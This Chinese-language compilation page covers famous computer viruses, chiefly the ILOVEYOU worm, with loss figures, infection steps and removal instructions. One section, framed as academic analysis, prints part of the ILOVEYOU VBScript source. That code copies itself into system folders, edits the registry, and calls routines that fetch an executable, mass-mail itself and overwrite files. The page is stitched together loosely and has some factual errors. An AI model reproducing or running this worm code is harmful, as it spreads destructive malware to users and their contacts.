什么是ILOVEYOU病毒
著名的计算机病毒案例
著名的计算机病毒案例随着电脑不断地影响我们的生活，电脑病毒也随着各种网络，磁盘等等日新月异的方式企图入侵我们的家用电脑、公司电脑，严重影响了我们使用计算机与网络。
下面是店铺收集整理的著名的计算机病毒案例，希望对大家有帮助~~著名的计算机病毒案例NO.1 “CIH病毒” 爆发年限:1998年6月损失估计：全球约5亿美元NO.2 “梅利莎(Melissa)” 爆发年限:1999年3月损失估计：全球约3亿——6亿美元NO.3 “爱虫(Iloveyou)” 爆发年限:2000年损失估计：全球超过100亿美元NO.4 “红色代码(CodeRed)” 爆发年限:2001年7月损失估计：全球约26亿美元NO.5 “冲击波(Blaster)” 爆发年限:2003年夏季损失估计：数百亿美元NO.6 “巨无霸(Sobig)” 爆发年限:2003年8月损失估计：50亿——100亿美元NO.7 “MyDoom” 爆发年限:2004年1月损失估计：百亿美元NO.8 “震荡波(Sasser)” 爆发年限:2004年4月损失估计：5亿——10亿美元NO.9 “熊猫烧香(Nimaya)” 爆发年限:2006年损失估计：上亿美元NO.10 “网游大盗” 爆发年限:2007年损失估计：千万美元小编提醒：一)、新发现电脑病毒数量逐年持续增长——据悉，在新增病毒中，弹窗广告因具有很大迷惑性已成电脑病毒主要类型。
据腾讯电脑管家实验室相关数据显示，截至到2014年12月31日，2014年电脑端感染最多的前十位病毒类型分别为：弹广告、盗取QQ帐号及密码、刷流量、Rootkit、篡改或锁定主页、恶意注入、恶意下载器、盗取游戏帐号及密码、后门或远程控制、劫持浏览器。
同时了解到，在所有病毒类型中，弹广告被报告频次最高，占到了病毒总数的20%。
腾讯电脑管家反病毒实验室认为，弹窗广告具有很大的迷惑性，常常利用用户对弹窗广告已经习以为常的社会心态，故意诱导用户去手动关闭该弹窗，实现通过广告木马强迫用户访问其恶意推广网站和传播病毒的目的。
网络攻击历史：最臭名昭著的黑客事件
网络攻击历史：最臭名昭著的黑客事件网络攻击是指在计算机网络上利用各种技术和手段，对目标系统进行非法侵入、破坏或者窃取信息的行为。
随着互联网的发展，网络攻击事件也越来越多，其中有一些事件因其规模浩大、影响深远而成为黑客界最臭名昭著的事件。
本文将为您介绍其中一些最为著名的黑客事件。
1. 沃尔姆病毒（1988年）沃尔姆病毒，也称为莫里斯蠕虫，被认为是历史上第一个大规模的互联网攻击事件。
这个病毒是由康奈尔大学的一名学生罗伯特·莫里斯创建并放播的，他的目标是通过这个病毒评估互联网的规模。
然而，由于病毒的迅速传播，它导致了互联网许多主机的系统崩溃。
这次事件引起了广泛关注，同时也促使了计算机安全研究的加强与进步。
2. ILOVEYOU病毒（2000年）ILOVEYOU病毒是2000年最具破坏力和传染性的计算机病毒之一。
这个病毒通过电子邮件附件传播，诱使用户点击并运行该附件。
一旦用户打开附件，病毒就会自动复制并发送给用户的所有电子邮件联系人，并删除用户的一些重要文件。
据报道，ILOVEYOU病毒导致了数百万计算机受损，造成了数十亿美元的损失。
这个病毒的出现引起了人们对网络安全的普遍关注。
3. 斯托克斯病毒（2004年）斯托克斯病毒是2004年以色列发生的一次严重的网络攻击事件。
这个病毒利用邮件附件进行传播，一旦用户打开附件，病毒将会安装在受感染计算机上，并开始窃取敏感信息。
斯托克斯病毒主要针对以色列政府和军事系统，导致了大量机密信息的泄露。
这次事件揭示了信息安全的脆弱性，提醒人们应当加强网络安全的保护措施。
4. 肆虐的勒索软件（2017年）2017年，全球发生了一系列大规模的勒索软件攻击事件。
其中最为著名的事件是“永恒之蓝”攻击和“想哭”攻击。
这些勒索软件利用漏洞和恶意代码感染用户的计算机，然后加密用户的文件并要求赎金。
这些攻击导致了各行各业的计算机系统瘫痪，包括医疗机构、政府机关和大型企业。
这一系列事件引发了全球范围内对网络安全的关注和应对措施的加强。
有哪些计算机病毒的典型案例
有哪些计算机病毒的典型案例计算机病毒是一种可以通过网络或存储介质传播的恶意软件，它们可以对计算机系统造成严重的破坏。
在计算机领域，病毒是一种非常常见的安全威胁，而且它们的种类也非常多样。
接下来，我们将介绍一些典型的计算机病毒案例，以便更好地了解这些威胁。
1. Melissa病毒。
Melissa病毒是一种在1999年出现的宏病毒，它主要通过电子邮件传播。
一旦用户打开了感染了Melissa病毒的电子邮件附件，病毒就会开始自动复制并发送自己给用户的联系人。
由于它的快速传播速度，Melissa病毒曾一度引起了全球性的恐慌，造成了大量的计算机系统瘫痪。
2. ILOVEYOU病毒。
ILOVEYOU病毒是一种在2000年出现的蠕虫病毒，它通过电子邮件发送“我爱你”的主题来诱使用户打开感染文件。
一旦用户打开了附件，病毒就会开始破坏用户的文件，并且自动发送自己给用户的联系人。
ILOVEYOU病毒造成了数十亿美元的损失，成为了互联网历史上最具破坏力的病毒之一。
3. WannaCry勒索病毒。
WannaCry病毒是一种在2017年出现的勒索病毒，它利用Windows操作系统的漏洞进行传播。
一旦用户的计算机感染了WannaCry病毒，病毒就会加密用户的文件，并要求用户支付赎金才能解密。
WannaCry病毒曾一度造成了全球范围内的大规模感染，影响了包括医疗、金融在内的多个行业。
4. Zeus木马病毒。
Zeus病毒是一种银行木马病毒，它主要通过网络钓鱼和恶意软件下载器进行传播。
一旦用户的计算机感染了Zeus病毒，病毒就会窃取用户的银行账号和密码，并用于非法转账。
Zeus病毒曾造成了大量用户的财产损失，成为了银行业安全的重大威胁。
5. Stuxnet病毒。
Stuxnet病毒是一种专门针对工业控制系统的病毒，它主要通过USB设备进行传播。
一旦感染了工业控制系统，Stuxnet病毒就会破坏系统中的控制程序，导致工业设备的故障和瘫痪。
最危险的五种电脑病毒
最危险的五种电脑病毒电脑病毒的类型多种多样，它们中有的只会给电脑带来一些小麻烦，而还有一些更加危险的则有可能致使系统瘫痪或硬件受损。
下面给大家分享最危险的五种电脑病毒，欢迎阅读：史上最危险的五种电脑病毒：最危险电脑病毒1：I LOVE YOUILOVEYOU也许是计算机历史当中最危险的病毒。
在当年，它感染了将近10%的可联网计算机，造成的经济损失高达100亿美元。
这种病毒是通过电子邮件所传播的，其邮件标题就是“ILOVEYOU。
为了进一步增加诱惑力，又见当中还附带着一个题为“Love-Letter-For-You.TXT.vbs(给你的情书)。
如果你打开该文件，病毒会自动向Windows地址簿当中保存的前50个联系人发送相同的邮件。
最危险电脑病毒2：MelissaMelissa计算机病毒在1999年3月26日登上了新闻头条。
这种病毒同样通过邮件传播，并会包含一个名为“list.doc的附件。
点开附件之后，病毒会寻找到微软Outlook地址簿当中的前50个联系人，然后向他们发送一封题为“这是你要的文件……不要给其他人看的邮件。
随后，FBI逮捕了病毒的制作者David L Smith，此人声称自己编写这条病毒是是为了纪念一位一见倾心的脱衣舞女郎，她的名字就叫Melissa。
最危险的电脑病毒最危险电脑病毒3：My DoomMy Doom是2004年爆发的病毒，它通过电子邮件传播，发件人地址和邮件主题完全随机，它所感染的计算机数量约为200万部。
这种病毒的行为方式非常狡诈，收件人在收到邮件之后会看到一个类似于错误弹窗的窗口，当中写着“邮件处理失败。
而在点击该信息之后，其附件中的蠕虫病毒便会开始工作，向电脑地址簿内保存的地址继续发送邮件。
外界认为，My Doom所造成的经济损失可能达到了380亿美元。
最危险电脑病毒4：Code Red通过利用微软Internet Information Server的漏洞，2001年出现的Code Red病毒开始将网络服务器作为攻击目标。
常见的计算机病案例分析
常见的计算机病案例分析计算机病毒是指一种能够在计算机系统中快速传播、破坏系统功能并且自我复制的恶意软件，给计算机系统和用户带来不同程度的危害。
随着计算机技术的不断发展，各种类型的计算机病毒层出不穷。
本文将对常见的计算机病毒案例进行分析，以便更好地了解计算机病毒的特点和防范措施。
一、蠕虫病毒案例分析蠕虫病毒是一种能够自我复制并在计算机网络中传播的恶意软件。
2001年，“伊洛扎病毒”（ILOVEYOU）的爆发就是蠕虫病毒的典型案例。
该病毒通过电子邮件发送，并自动复制并发送给用户的联系人。
一旦用户打开这个附件，病毒就会释放并开始传播，导致大量计算机系统瘫痪。
针对蠕虫病毒的防范措施主要包括及时更新杀毒软件和系统补丁、不随意打开陌生邮件和链接、加强用户教育等。
此外，建立健全的网络安全策略和完善的防火墙也是重要的预防措施。
二、木马病毒案例分析木马病毒是一种隐藏在合法软件中的恶意代码，通过欺骗用户而进行自我复制和传播。
2005年，“黑客之门”（Blackhole）木马病毒的出现引起了广泛的关注。
该病毒通过网络攻击获取用户终端的控制权，窃取用户的隐私信息和敏感数据。
预防木马病毒的关键是提高用户的信息安全意识和加强软件来源的可信度。
用户应避免下载未知来源的软件，及时更新操作系统和应用程序，并通过安装防病毒软件和防火墙等安全工具进行保护。
三、病毒勒索案例分析病毒勒索是指黑客利用恶意软件对计算机进行攻击，并要求用户支付“赎金”以解密或恢复文件和数据的过程。
2017年，“勒索病毒WannaCry”（WannaCry）的爆发引起了全球范围内的恶性感染。
该病毒通过利用操作系统漏洞进行攻击，并迅速传播至全球数十万台计算机。
预防病毒勒索的关键是定期备份重要数据和文件，并使用强密码对其进行保护。
此外，及时安装系统补丁和防病毒软件、禁用不必要的网络服务和端口也是必要的防范措施。
四、间谍软件案例分析间谍软件是一种监视用户计算机活动并收集用户隐私信息的恶意软件。
全球十大计算机病毒
全球十大计算机病毒计算机病毒(Computer Virus)是编制者在计算机程序中插入的破坏计算机功能或者数据的代码，能影响计算机使用，能自我复制的一组计算机指令或者程序代码。
下面是店铺跟大家分享的是全球十大计算机病毒，欢迎大家来阅读学习。
全球十大计算机病毒NO.1 “CIH病毒”爆发年限:1998年6月CIH病毒(1998年)是一位名叫陈盈豪的台湾大学生所编写的，从中国台湾传入大陆地区的。
CIH的载体是一个名为“ICQ中文Ch_at模块”的工具，并以热门盗版光盘游戏如“古墓奇兵”或Windows95/98为媒介，经互联网各网站互相转载，使其迅速传播。
CIH病毒属文件型病毒，其别名有Win95.CIH、Spacefiller、Win32.CIH、PE_CIH，它主要感染Windows95/98下的可执行文件(PE格式，Portable Executable Format)，目前的版本不感染DOS以及WIN 3.X(NE格式，Windows and OS/2 Windows 3.1 execution File Format)下的可执行文件，并且在Win NT中无效。
其发展过程经历了v1.0，v1.1、v1.2、v1.3、v1.4总共5个版本。
损失估计：全球约5亿美元NO.2 “梅利莎(Melissa)”爆发年限:1999年3月梅利莎(1999年)是通过微软的Outlook电子邮件软件，向用户通讯簿名单中的50位联系人发送邮件来传播自身。
该邮件包含以下这句话：“这就是你请求的文档，不要给别人看”，此外夹带一个Word 文档附件。
而单击这个文件，就会使病毒感染主机并且重复自我复制。
1999年3月26日，星期五，W97M/梅利莎登上了全球各地报纸的头版。
估计数字显示，这个Word宏脚本病毒感染了全球15%~20%的商用PC。
病毒传播速度之快令英特尔公司(Intel)、微软公司(Microsoft，下称微软)、以及其他许多使用Outlook软件的公司措手不及，防止损害，他们被迫关闭整个电子邮件系统。
“爱虫(I_Loveyou)”病毒代码解析和杀毒方法
“爱虫(I Loveyou)”病毒代码解析和杀毒方法中国代码联盟黄冬李文武近来在网上出现了“我爱你”病毒，让人们恐慌一时，而它在国内却没有出现什么问题，到现在我也没有听到有哪位计算机使用者说自己被爱到至死。
究其原因是什么？而“我爱你”病毒到底是什么？难道说是我国的计算机防毒水平和计算机杀毒软件的水平已经到了世界领先的水平？我们来细细看看它的原因就明白其中的道理了。
另：笔者写本文完全是为了学术作用，请不要将此病毒代码用于破坏之目的。
首先让我们来看一看我爱你病毒的来源。
有一天你会收到一封邮件，它的主题是“I Love You”（如果细细读读它的程序，这个主题其实可以并不是I LoveYou），在它的信中带有了一个叫“iloveyou.vbs ”的附件，而这个附件将是病毒的根源。
下面这段是“我爱你”病毒的所有的源代码，其中加入了我的注释（大多数的vbs的语法大家可以到wsh中去查、我在函数调用的地方写明了这些函数的说明，具体实现可以到函数体中去找）：Rem=========================================================== ============Rem 本文件为病毒样本，供学习之用，原文件中扫描文件进行感染部分被我注释掉了Rem 请勿将本文件用作破坏之目的。
white (***************) hd(hd@email.)Rem=========================================================== ============On Error Resume Nextdim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,doweq=""ctr=0Set fso = CreateObject("Scripting.FileSystemObject")set file = fso.OpenTextFile(WScript.ScriptFullname,1)vbscopy=file.ReadAllmain()sub main()On Error Resume Nextdim wscr,rrset wscr=CreateObject("WScript.Shell")rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows ScriptingHost\Settings\Timeout")if (rr>=1) thenwscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows ScriptingHost\Settings\Timeout",0,"REG_DWORD"end ifSet dirwin = fso.GetSpecialFolder(0)Set dirsystem = fso.GetSpecialFolder(1)Set dirtemp = fso.GetSpecialFolder(2)Set c = fso.GetFile(WScript.ScriptFullName)c.Copy(dirsystem&"\MSKernel32.vbs")c.Copy(dirwin&"\Win32DLL.vbs")c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") '上面三句将自身复制成三个文件regruns() '如果系统为win98，设IE的起始页为四个URL之一，以下载一个叫WIN-BUGSFIX.exe 的文件，'并将其设为系统启动时自动执行的程序，看起来好象是一个补丁程序html() '为OUTLOOK用户生成一个含病毒代码的HTML文件LOVE-LETTER-FOR-YOU.HTM，'该HTML文件里包含一段JAVASCRIPT，打开时脚本被执行，病毒体被写入文件MSKernel32.vbs, 同时被设成'系统启动时自动执行spreadtoemail() '为OUTLOOK里的所有联系人发一封包含上面那个文件的邮件listadriv() '扫描整个磁盘，将后缀为.vbs, ..vbe的文件换成自身，将后缀为.js, .jse, .css, .wsh, .sct, .hta, '的文件改后缀为vbs并写入自身，同时删除原有文件，将后缀为.jpg,.jpeg的在文件名后加.vbs后，写入'自身，将后缀为.mp3,mp2的文件名后加.vbs并写入自身，同时将文件属性改为隐藏文件，'如果发现有mIRC,将改写script.ini，使得mIRC向所有频道里的人发送刚才的html文件。
恶意软件与计算机病的典型案例分析
恶意软件与计算机病的典型案例分析恶意软件和计算机病是当前互联网环境中普遍存在的问题，给个人和企业的计算机系统带来了巨大的威胁。
本文将通过对两个典型案例的分析，探讨恶意软件和计算机病的特点、传播途径以及防范措施。
案例一：勒索软件 WannaCryWannaCry是一种以勒索为目的的恶意软件，于2017年5月在全球范围内爆发。
该软件通过利用计算机系统中的漏洞进行传播，感染了数十万台个人电脑和企业服务器。
1. 特点：- 加密勒索：WannaCry通过加密受害者的文件和数据，然后勒索比特币作为赎金解密。
这种方式使得用户在无法访问自己的数据情况下被迫付款，威胁且具有经济利益。
- 横向传播：WannaCry利用网络上共享的漏洞传播，在一个网络中感染一台计算机后，它能够自动扫描并感染同一网络中的其他计算机。
2. 传播途径：- 利用NSA泄漏工具：WannaCry利用美国国家安全局（NSA）的漏洞工具“永恒之蓝”，该工具在黑市上流传，成为恶意软件攻击的重要利器。
- 钓鱼邮件和恶意网站：钓鱼邮件和恶意网站被用来欺骗用户点击链接或下载附件，一旦用户点击或下载，WannaCry即可侵入用户的计算机系统。
3. 防范措施：- 及时安装安全补丁：由于WannaCry利用了已知漏洞传播，及时安装操作系统的安全补丁是防止感染的有效措施。
- 不随意点击可疑链接或下载附件：提高警惕，不随意点击来自不明邮件或网站的链接或下载可疑附件，确保自己的计算机系统不会被感染。
案例二：网络蠕虫 ILOVEYOUILOVEYOU是在2000年肆虐全球的一种网络蠕虫病毒，它以电子邮件的形式传播，对全球计算机系统造成了巨大的破坏。
1. 特点：- 社会工程学元素：ILOVEYOU的邮件主题和正文利用了情感诱导和好奇心等人类的弱点，以使人们点击并下载附加的恶意文件。
- 删除、篡改文件：一旦用户打开了ILOVEYOU的附件，病毒会迅速在用户的电脑上复制自己，并删除和篡改用户的文件，造成不可逆的损失。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
ILOVEYOU病毒是一种主要借助邮件传播的蠕虫病毒，该病毒借助ILOVEYOU的虚假外衣，欺骗相关用户打开其内存的VBS附件从而感染病毒。
感染后，该病毒会通过Outlook通讯簿向外传播，并且在本机中大量搜索相关账号和密码，并发给开发者，是恶性病毒的一种。
所以要提醒广大计算机用户警惕不明邮件，不要打开来源不明的邮件所包含的附件。
病毒资料
【病毒名称】I LOVE YOU病毒
【病毒别名】情书病毒或Loveletter病毒
【警惕程度】★★★☆
【病毒类型】蠕虫病毒
【中毒症状】附档名为：*.mp3, *.vbs, *.jpg, *.jpeg, *.hta, *.vbe, *.js, *.jse....等十种文件格式的附档名会改为 *.vbs 。
传播方式
透过一封信件标题为ILOVEYOU(我爱你) 的电子邮件散播，附件为LOVE-LETTER-FOR-YOU.txt.vbs (献给你的情书)，信件内容 kindly check the attached LOVE LETTER coming from me。
病毒危害
病毒会经由被感染者Outlook通讯簿的名单发出自动信件，藉以连锁性的大规模散播，造成企业mail server瘫痪。
病毒发作时，会感染并覆写附档名为：*.mp3, *.vbs, *.jpg, *.jpeg, *.hta, *.vbe, *.js, *.jse....等十种文件格式;文件遭到覆写后，附档名会改为*.vbs 。
VBS_LOVELETTER病毒与美丽杀病毒的最大差异在于，美丽杀病毒只会对通讯簿的前50个名单发出垃圾邮件，而VBS_LOVELETTER病毒是向所有的通讯簿名单发出自动信件，其传播的速度比美丽杀病毒快上数倍，破坏力更为强大。
它还大肆复制自身覆盖音乐和图片文件。
更可气的是，它还会在受到感染的机器上搜索用户的账号和密码，并发送给病毒作者。
感染步骤
1.第一次打开病毒文件时,病毒会自动产生下列文件于windows目录中
windowsWin32DLL.vbs
systemMSKernel32.vbs
systemLOVE-LETTER-FOR-YOU.TXT.vbs.
systemLOVE-LETTER-FOR-YOU.TXT.HTML.
2.当重新开机后.病毒并且会修改下列windows 登录值. HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32, :windowss ystem MSKernel32.vbs
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesWin32DLL, :wi ndowsWin32DLL.vbs.
3.在 :windowssystem 目录中寻找WinFAT32.exe. 如果文件存在即会修改Internet Explorer并开启特定网站中的 wiN-BUGSFIX.EXE
4.接下来病毒会在 :windowssystem 目录中，寻找 WIN-BUGSFIX.exe
如果文件不存在即会修改Internet Explorer起始划面变为 about:blank 并且修改WINDOWS登录值
5.这个病毒会利用 Microsoft Outlook扩散.并将LOVE-LETTER-FOR-YOU.TXT.vbs 附加于E-MAIL中并传送给个人通讯簿所记载的帐号 .其信件内容为:
主旨:ILOVEYOU.
内容:KINDLY CHECK THE ATTACHED LOVELETTER COMING FROM ME.
另外，病毒会开始篡改Mirc的 script.ini文件
如此会造成使用者利用mIRC，上网聊天时.病毒会自动呼叫dcc send 指令给同一个聊天室其它使用者并且将病文件传送给这些使用者，LOVE-LETTER-FOR-YOU.HTM
6.这个病毒会寻求以下附文件名的文件:
.vbs .vbe .js .jse .css .wsh .sct .hta .jpg .jpeg .mp3 .mp2
当找到时.会将病毒程序覆盖于文件中.并且将档名修改为 + .vbs. 的格式.导致文件无法正常执行.
杀毒方法
1.预防。
当收到信件标题为ILOVEYOU的电子邮件，应立即删除，切勿开启附件以免中毒。
然后应立即删除，即使寄件者是你所熟悉的人名，也不要开启附加文件以免中毒。
2.自动杀毒。
1)安装杀毒软件，实行自动杀毒。
2)搜索ILoveYou病毒清除器。
安装后杀毒。
3.手动杀毒
收到信件标题为ILOVEYOU的电子邮件，应立即删除，即使寄件者是你所熟悉的人名，也不要开启附加文件以免中毒。
1.点选开始=;执行
2.输入regedit
3.寻找下列路径并删除HKEY_LOCAL_machineSOFTWAREMicrosoftwindowscurrentVersionRunMSKernel32
HKEY_LOCAL_machineSOFTWAREMicrosoftwindowscurrentVersionRunServicesWin32DLL
HKEY_LOCAL_machineSOFTWAREMicrosoftwindowscurrentVersionRunWIN-BUGSFIX
4.删除下列文件:
windowsWin32DLL.VBS
systemMSKernel32.VBS
systemLOVE-LETTER-FOR-YOU.TXT.VBS
systemLOVE-LETTER-FOR-YOU.TXT.HTML。